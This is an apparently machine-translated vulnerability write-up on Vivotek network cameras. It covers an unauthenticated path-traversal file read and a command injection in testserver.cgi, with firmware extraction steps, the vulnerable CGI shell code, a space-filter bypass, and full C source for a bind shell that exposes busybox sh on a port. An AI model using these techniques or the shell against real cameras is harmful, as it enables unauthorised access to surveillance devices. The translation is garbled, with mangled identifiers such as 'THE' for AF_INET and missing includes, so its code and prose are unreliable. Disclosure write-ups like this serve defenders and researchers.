Vivotek Network Camera arbitrary file reading and command execution vulnerability

2017-06-26T00:00:00
ID SSV:96226
Type seebug
Reporter Root
Modified 2017-06-26T00:00:00

Description

Author: Super viagra the blue cat

Within the network there are some Vivotek network camera, as a monitor. Direct access to the 80 port of the Web service, the Configure - maintenance - import/export file to export the configuration file, get a contains etc folder of the tar package. From a directory structure point of view, like putting Linux on the file is packaged with the same, presumably the camera is running on Embedded Linux system.

So the Web service black box testing, however, did not find what vulnerabilities. Access /cgi-bin/viewer/getparam_cache. cgi? system_info_firmwareversion that the firmware version number is IB8369-VVTK-0102a , then the model should be IB8369. Go to the official website to download the firmware for analysis, and easily point to open the firmware next to the user's Guide, in a bunch of cgi interface found in this article:

Here's the query_string is actually an absolute path, try to read /etc/passwd, returning a "Permission denied": the

If you follow the user manual in the /mnt/auto/CF/NCMF/xx, is not encountered in the previous problem:

However, after the end of the check only the prefix is /mnt/auto/, you can path through to/, read arbitrary file:

The above is the first vulnerability. The following is the command injection:

From ib8369firmware.zip in the extract the IB8369-VVTK-0102a. flash. pkg. Remove the file header of 54 bytes with BandiZip can be extracted rootfs. img, is a file system image.

/bin where only busybox is really the ELF, the other is a fake, it is all to the busybox soft links; in /sbin there are some vendors compiled ELF for the camera in various configurations, other are also is a to /bin/busybox soft link; /usr/bin there are a lot of manufacturers write the shell script that is also used for the camera configuration; /usr/share/www/cgi-bin is cgi, there is a lot of shell scripts, a part of is ELF 。 These shell scripts much of the user input into the command to execute, or is passed as a parameter to the dedicated processing of a configuration of the ELF's. Since access to the Web service, then from the cgi to start with.

It took half an hour, and finally in /usr/share/www/cgi-bin/admin/testserver. cgi found a command injection. This interface is in the Add monitoring event corresponding to operation of the test service availability features, such as the configuration allows the camera to start when the system sends a particular HTTP request, or in the monitoring to specific picture changes when sending mail, or timing the log is sent to the specified mailbox, this interface can be used to test the HTTP request or e-mail whether the normal transmission.

The CGI in the first the user input is stored in the strparam this variable: if [ "$REQUEST_METHOD" = "POST" ]; then strparam=cat $stdin | cut-c1-$CONTENT_LENGTHelse strparam=$QUERY_STRING fi

Then put strparam pass decode.sh URL-decoding, and then use the regular out of each parameter, stored to the corresponding variable:

strparam=decode.sh $strparamtype=echo "$strparam" | sed-n 's/^. type=([^&]).$/\ 1/p' | sed "s/%20/ /g"address=echo "$strparam" | sed-n 's/^. address=([^&]).$/\ 1/p' | sed "s/%20/ /g"... senderemail=echo "$strparam" | sed-n 's/^. senderemail=([^&]).$/\ 1/p' | sed "s/%20/ /g"recipientemail=echo "$strparam" | sed-n 's/^. recipientemail=([^&]).$/\ 1/p' | sed "s/%20/ /g"... After that, if the type is email and address, and recipientemail non-null, put the user input sendermail and recipientmail substituted with sh-c implementation of string:

if [ -n "$address" ] && [ -n "$recipientemail" ]; then #echo "$body" | sh-c "$SMTPC-s \"$title\" $mime_type-f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\"" if [ "$sslmode" = "1" ]; then check_smtp_over_https sh-c "$SMTPC-s \"$title\" $mime_type-b $SEND_FILE-f \"$senderemail\" -S "127.0.0.1" -P "to 25" $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT" else sh-c "$SMTPC-s \"$title\" $mime_type-b $SEND_FILE-f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT" fi if[ "$?" = "0" ] then translator "the_email_has_been_sent_successfully" else translator "error_in_sending_email" fi else translator "please_define_mail_server_location" fi

It is worth mentioning that, located in /usr/bin decode.sh in the URL, before decoding, also with gsub(/["<>]/,"",temp) filter double quotes and angle brackets. At the same time, all with the space equivalent of the symbol can not be used, because the CGI put strparam passed to the decode.sh when there is no quotation marks, and decode.sh in temp=$0 take is the first parameter, that is if strparam in the spaces decode.sh receive a plurality of parameters, and eventually returns only the first argument after decode after the results.

Here I use the variable ${IFS} substitution space, with |tee alternative >to:

Construct the Payload for the command injection:

Use the front of the file read vulnerability to view the command execution results:

Since the target is not on the nc or bash, and sh and ash is a soft link to busybox,@RicterZ suggested that I cross-compiled a bindshell :

``

include

include

include

include

include

include

int main(int argc, char *argv[]) { char msg[512]; int srv_sockfd, new_sockfd; socklen_t new_addrlen; struct sockaddr_in srv_addr, new_addr;

if (argc != 2) { printf("\nusage: ./ tcpbind \n"); return -1; }

if (fork() == 0) { if ((srv_sockfd = socket(THE, SOCK_STREAM, 0)) < 0) { perror("[error] socket() failed!"); return -1; }

srv_addr. sin_family = THE;
srv_addr. sin_port = htons(atoi(argv[1]));
srv_addr. sin_addr. server_address = htonl(INADDR_ANY);
if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) &lt; 0)
{
 perror("[error] bind() failed!");
 return -1;
}

if (listen(srv_sockfd, 1) &lt; 0)
{
 perror("[error] listen() failed!");
 return -1;
}

for (;;)
{
 new_addrlen = sizeof(new_addr);
 new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
 if (new_sockfd &lt; 0)
{
 perror("[error] accept() failed!");
 return -1;
}

 if (fork() == 0)
{
close(srv_sockfd);
 write(new_sockfd, msg, strlen(msg));

 dup2(new_sockfd, 2);
 dup2(new_sockfd, 1);
 dup2(new_sockfd, 0);

 execl("/bin/busybox", "/bin/busybox", "sh");
 return 0;
}
else
close(new_sockfd);
}

} return 0; } ``

./ arm-926ejs-linux-gnueabi-gcc --static-O2 /tmp/bindshell. c-o /tmp/bindshell after compilation via FTP transmission to the camera /mnt/ramdisk in the web also have to upload the interface file, and then run:

Summary

/cgi-bin/admin/downloadMedias. cgi and /cgi-bin/admin/testserver. cgi has no authentication, as long as you can access the web service, it can be successfully utilized. It has been confirmed can successfully attack the models have IB8369-VVTK-0102a, the FD8164-VVTK-0200b, the FD816BA-VVTK-010101 。 From the official website to download a dozen different models of the latest firmware for analysis, found that there are these two loopholes, it can be speculated that should be generic. As long as the user manual “If your SMTP server requires a secure connection (SSL)” of this sentence, it can be inferred that this model is the presence of the above-mentioned command injection vulnerability. This two vulnerabilities can affect most of the Vivotek Network Camera.

_Update on June 24th: _ CVE-2017-9828 and CVE-2017-9829 have been assigned to the vulnerabilities.